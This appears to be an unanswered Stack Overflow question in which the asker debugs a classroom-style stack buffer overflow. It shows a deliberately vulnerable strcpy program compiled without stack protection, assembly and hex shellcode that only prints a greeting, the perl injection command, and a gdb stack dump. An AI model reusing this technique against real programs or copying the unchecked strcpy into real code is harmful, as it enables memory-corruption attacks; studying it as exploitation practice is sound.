Why does this buffer overflow not output the specified string?

0

The vulnerable program is a simple strcpy routine used to overflow the stack

#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char a[34];
strcpy(a , argv[1]);
return 0;
}

it was compiled using the following

gcc -g -o exploitable0 vulnerable_program0.c -fno-stack-protector -z execstack.

Both stack check and non-executable stack restrictions have been removed.

To my understanding this should at the very least output hello world.

This is the assembly code used to generate the byte code.

BITS 64
jmp short one
two:
; ssize_t write(int fd, const void* buf, site_t count)
pop rcx
xor eax, eax
mov al, 4
xor ebx, ebx
inc ebx
xor edx, edx
mov dl, 15
int 0x80
;void _exit(int stats)
mov al, 1
dec ebx
int 0x80

one:
call two
db "Hello, world!!!!!!!!"

You can compile this yourself using the command

masm helloworld2.s

the byte code can then be seen using

hexdump -C helloworld2

Below I inject my shellcode to output "Hello,World!!!!!!!!" using a simple perl command. I removed all null bytes and the jump is of negative offset at the end

(gdb) run $(perl -e 'print "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff
\xc3\x31\xd2\xb2\x0f\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff
\x48\x65\x6c\x6c\x6f\x2c\x1f\x77\x6f\x72\x6c\x64\x21\x21\x21\x21\x21\x21
\x21\x21\x80\xda\xff\xff\xff\x7f\x00\x00"')

The last 2 words overwrite the return address and cause a crash as expected, however the code does not seem to execute or even output hello world for that manner. There doesn't seem to be anything wrong with the stackdump

(gdb) x/18xw $rsp
0x7fffffffda70: 0xffffdb98  0x00007fff  0x004005ad  0x00000002
0x7fffffffda80: **0x315915eb**  0x3104b0c0  0x31c3ffdb  0xcd0fb2d2
0x7fffffffda90: 0xff01b080  0xe880cdcb  0xffffffe6  0x6c6c6548
0x7fffffffdaa0: 0x771f2c6f  0x646c726f  0x21212121  0x21212121
0x7fffffffdab0: **0xffffda80    0x00007fff**

I emphasized the beginning of the buffer and return address overwrite for ease of readability.

./exploitable0 $(perl -e 'print "\xeb\x15\x59\x31\xc0\xb0\x04\x31\xdb\xff\xc3\x31\xd2\xb2\x0f\xcd\x80\xb0\x01\xff\xcb\xcd\x80\xe8\xe6\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x1f\x77\x6f\x72\x6c\x64\x21\x21\x21\x21\x21\x21\x21\x21\x90\xda\xff\xff\xff\x7f\x00\x00"')

exits normally, overwrite the last \x00 bytes with any other value and it will cause a segfault, indicating this is the return address ( on a 64-bit machine).

c
assembly
stack-overflow
asked on Stack Overflow Mar 22, 2018 by Gabriel Reyes • edited Apr 18, 2018 by Vadim Kotov

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0